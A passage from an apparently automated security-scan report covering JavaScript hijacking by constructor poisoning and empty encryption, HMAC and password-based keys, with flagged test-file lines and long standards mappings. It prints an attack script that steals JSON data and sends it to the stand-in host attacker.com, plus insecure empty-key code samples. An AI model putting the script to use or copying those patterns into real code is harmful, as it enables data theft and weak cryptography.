[14] Standards Mapping - OWASP Mobile 2014 M3 Insufficient Transport Layer Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 2.9.3 Cryptographic Software and Devices Verifier Requirements, 6.2.1 Algorithms, 6.2.2 Algorithms, 8.3.7 Sensitive Private Data, 9.1.2 Communications Security Requirements, 9.1.3 Communications Security Requirements
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 4.1, Requirement 6.5.4
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.2 - Sensitive Data Protection, Control Objective 7.1 - Use of Cryptography
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.2 - Sensitive Data Protection, Control Objective 7.1 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[25] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 327
[26] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 327
[27] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 327
[28] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3260.1 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3260 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3260 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3260 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3260 CAT II

[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3260 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3260 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001510 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001510 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001510 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001510 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001510 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001510 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001510 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001510 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001510 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001510 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II

[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001510 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001510 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[47] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)

JavaScript Hijacking: Constructor Poisoning

Description

Applications that use JavaScript notation to transport sensitive data can be vulnerable to JavaScript hijacking, which allows an unauthorized attacker to read confidential data from a vulnerable application. JavaScript arrays can be stolen if the browser's JavaScript engine allows array constructor poisoning.

Explanation

An application may be vulnerable to JavaScript hijacking if it: 1) Uses JavaScript objects as a data transfer format 2) Handles confidential data. Because JavaScript hijacking vulnerabilities do not occur as a direct result of a coding mistake, the Fortify Secure Coding Rulepacks call attention to potential JavaScript hijacking vulnerabilities by identifying code that appears to generate JavaScript in an HTTP response.

Web browsers enforce the Same Origin Policy in order to protect users from malicious websites. The Same Origin Policy requires that, in order for JavaScript to access the contents of a web page, both the JavaScript and the web page must originate from the same domain. Without the Same Origin Policy, a malicious website could serve up JavaScript that loads sensitive information from other websites using a client's credentials, cull through it, and communicate it back to the attacker. JavaScript hijacking allows an attacker to bypass the Same Origin Policy in the case that a web application uses JavaScript to communicate confidential information. The loophole in the Same Origin Policy is that it allows JavaScript from any website to be included and executed in the context of any other website. Even though a malicious site cannot directly examine any data loaded from a vulnerable site on the client, it can still take advantage of this loophole by setting up an environment that allows it to witness the execution of the JavaScript and any relevant side effects it may have. Since many Web 2.0 applications use JavaScript as a data transport mechanism, they are often vulnerable while traditional web applications are not.

The most popular format for communicating information in JavaScript is JavaScript Object Notation (JSON). The JSON RFC defines JSON syntax to be a subset of JavaScript object literal syntax. JSON is based on two types of data structures: arrays and objects. Any data transport format where messages can be interpreted as one or more valid JavaScript statements is vulnerable to JavaScript hijacking. JSON makes JavaScript hijacking easier by the fact that a JSON array stands on its own as a valid JavaScript statement. Since arrays are a natural form for communicating lists, they are commonly used wherever an application needs to communicate multiple values. Put another way, a JSON array is directly vulnerable to JavaScript hijacking. A JSON object is only vulnerable if it is wrapped in some other JavaScript construct that stands on its own as a valid JavaScript statement.

Example 1: The following example begins by showing a legitimate JSON interaction between the client and server components of a web application used to manage sales leads. It goes on to show how an attacker may mimic the client and gain access to the confidential data the server returns. Note that this example is written for Mozilla-based browsers. Other mainstream browsers do not allow native constructors to be overridden when an object is created without the use of the new operator.

The client requests data from a server and evaluates the result as JSON with the following code:

```
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
    if (req.readyState == 4) {
        var txt = req.responseText;
        object = eval("(" + txt + ")");
        req = null;
    }
};
req.send(null);
```

When the code runs, it generates an HTTP request which appears as the following:

```
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
```

(In this HTTP response and the one that follows we have elided HTTP headers that are not directly relevant to this explanation.) The server responds with an array in JSON format:

```
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
```

In this case, the JSON contains confidential information associated with the current user (a list of sales leads). Other users cannot access this information without knowing the user's session identifier. (In most modern web applications, the session identifier is stored as a cookie.) However, if a victim visits a malicious website, the malicious site can retrieve the information using JavaScript hijacking. If a victim can be tricked into visiting a web page that contains the following malicious code, the victim's lead information will be sent to the attacker's web site.

```
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
    this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
    var objString = "";
    for (fld in this) {
        objString += fld + ": " + this[fld] + ", ";
    }
    objString += "email: " + x;
    var req = new XMLHttpRequest();
    req.open("GET", "http://attacker.com?obj=" + escape(objString),true);
    req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
```

The malicious code uses a script tag to include the JSON object in the current page. The web browser will send up the appropriate session cookie with the request. In other words, this request will be handled just as though it had originated from the legitimate application.

When the JSON array arrives on the client, it will be evaluated in the context of the malicious page. In order to witness the evaluation of the JSON, the malicious page has redefined the JavaScript function used to create new objects. In this way, the malicious code has inserted a hook that allows it to get access to the creation of each object and transmit the object's contents back to the malicious site. Other attacks might override the default constructor for arrays instead. Applications that are built to be used in a mashup sometimes invoke a callback function at the end of each JavaScript message. The callback function is meant to be defined by another application in the mashup. A callback function makes a JavaScript hijacking attack a trivial affair -- all the attacker has to do is define the function. An application can be mashup-friendly or it can be secure, but it cannot be both. If the user is not logged into the vulnerable site, the attacker may compensate by asking the user to log in and then displaying the legitimate login page for the application.

This is not a phishing attack -- the attacker does not gain access to the user's credentials -- so anti-phishing countermeasures will not be able to defeat the attack. More complex attacks could make a series of requests to the application by using JavaScript to dynamically generate script tags. This same technique is sometimes used to create application mashups. The only difference is that, in this mashup scenario, one of the applications involved is malicious.

Example 2: The following code shows a sample Django view method that sends a JSON response containing sensitive data in the form of a JSON array.

```
from django.http.response import JsonResponse
...
def handle_upload(request):
    response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stor
ed in a list
    return response
```

Severity

Medium

Vulnerabilities

File tests\JavaScript_Hijacking__Constructor_Poisoning.py, Line 3, Pos 12

```
3 response = jr(sensitive_data, safe=False)
```

File tests\JavaScript_Hijacking__Constructor_Poisoning.py, Line 5, Pos 12

```
5 response = jr(sensitive_data, safe=0)
```

Recommendations

- Set "safe" argument of django.http.response.JsonResponse as True

Links

[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
(https://support.fortify.com/documents?id=72&did;=202292377)
[2] Joe Walker JSON is not as safe as people think it is
(http://incompleteness.me/blog/2007/03/05/json-is-not-as-safe-as-people-think-it-is/)
[3] Jeremiah Grossman Advanced Web Attack Techniques using GMail
(http://jeremiahgrossman.blogspot.com.es/2006/01/advanced-web-attack-techniques-using.html)
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[5] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[8] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[9] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II

[19] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[21] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[22] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

Key Management: Empty Encryption Key

Description

Empty encryption keys can compromise security in a way that cannot be easily remedied.

Explanation

It is never a good idea to use an empty encryption key. Not only does using an empty encryption key significantly reduce the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example: The following code initializes an encryption key variable to an empty string.

```
...
from Crypto.Ciphers import AES
cipher = AES.new("", AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
```

Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the program ships, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.

Severity

High

Vulnerabilities

File tests\Key_Management__Empty_Encryption_Key.py, Line 3, Pos 10

```
3 cipher = AES.new("", AES.MODE_CFB, iv)
```

File tests\Key_Management__Empty_Encryption_Key.py, Line 6, Pos 1

```
6 my_key = ""
```

Recommendations

- Prevention schemes mirror that of hard-coded password storage.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[5] Standards Mapping - FIPS200 IA
[6] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management
[9] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[10] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 2.7.1 Out of Band Verifier Requirements, 2.7.2 Out of Band Verifier Requirements, 2.7.3 Out of Band Verifier Requirements, 2.8.4 Single or Multi Factor One Time Verifier Requirements, 2.8.5 Single or Multi Factor One Time Verifier Requirements, 2.9.1 Cryptographic Software and Devices Verifier Requirements, 2.10.2 Service Authentication Requirements, 2.10.4 Service Authentication Requirements, 3.5.2 Token-based Session Management, 3.7.1 Defenses Against Session Management Exploits, 6.2.1 Algorithms, 6.4.1 Secret Management, 6.4.2 Secret Management, 9.2.3 Server Communications Security Requirements, 10.2.3 Malicious Code Search
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography

[24] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[25] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[26] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

Key Management: Empty HMAC Key

Description

Empty HMAC keys could compromise system security in a way that cannot be easily remedied.

Explanation

It is never a good idea to use an empty HMAC key. The cryptographic strength of HMAC depends on the size of the secret key, which is used for the calculation and verification of the message authentication values. Using an empty key undermines the cryptographic strength of the HMAC function.

Example 1: The following code uses an empty key to compute the HMAC:

```
import hmac
...
mac = hmac.new("", plaintext).hexdigest()
...
```

The code in Example 1 may run successfully, but anyone who has access to it will be able to figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.

Severity

High

Vulnerabilities

File tests\Key_Management__Empty_HMAC_Key.py, Line 3, Pos 7

```
3 mac = hmac.new("", plaintext).hexdigest()
```

File tests\Key_Management__Empty_HMAC_Key.py, Line 5, Pos 8

```
5 test = hmac.digest("", msg, digest)
```

Recommendations

- Prevention schemes mirror that of hard-coded password storage.

Links

[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF) (http://www.ietf.org/rfc/rfc2104.txt)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS) (http://www.jucs.org/jucs_14_3/new_results_on_nmac/jucs_14_3_0347_0376_rechberger.pdf)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[7] Standards Mapping - FIPS200 IA

[8] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management
[11] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[12] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[13] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[14] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[15] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 2.7.1 Out of Band Verifier Requirements, 2.7.2 Out of Band Verifier Requirements, 2.7.3 Out of Band Verifier Requirements, 2.8.4 Single or Multi Factor One Time Verifier Requirements, 2.8.5 Single or Multi Factor One Time Verifier Requirements, 2.9.1 Cryptographic Software and Devices Verifier Requirements, 2.10.2 Service Authentication Requirements, 2.10.4 Service Authentication Requirements, 3.5.2 Token-based Session Management, 3.7.1 Defenses Against Session Management Exploits, 6.2.1 Algorithms, 6.4.1 Secret Management, 6.4.2 Secret Management, 9.2.3 Server Communications Security Requirements, 10.2.3 Malicious Code Search
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[27] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[28] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I

[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[47] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

Key Management: Empty PBE Password

Description

Generating and using a cryptographic key based on an empty password may compromise system security in a way that cannot be easily remedied.

Explanation

It is never a good idea to pass an empty value as the password argument to a cryptographic password-based key derivation function. In this scenario, the resulting derived key will be based solely on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the empty password often cannot be changed without patching the software. If an account protected by a derived key based on an empty password is compromised, the owners of the system may be forced to choose between security and availability.

Example 1: The following code passes the empty string as the password argument to a cryptographic password-based key derivation function:

```
from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', '', salt, 100000)
...
```

Not only will anyone who has access to the code be able to determine that it generates one or more cryptographic keys based on an empty password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on an empty password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the empty password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty password.

Severity

High

Vulnerabilities

File tests\Key_Management__Empty_PBE_Password.py, Line 3, Pos 6

```
3 dk = pbkdf2_hmac('sha256', '', salt, 100000)
```

Recommendations

- Prevention schemes mirror that of hard-coded password storage.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[5] Standards Mapping - FIPS200 IA
[6] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management
[9] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage

[10] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
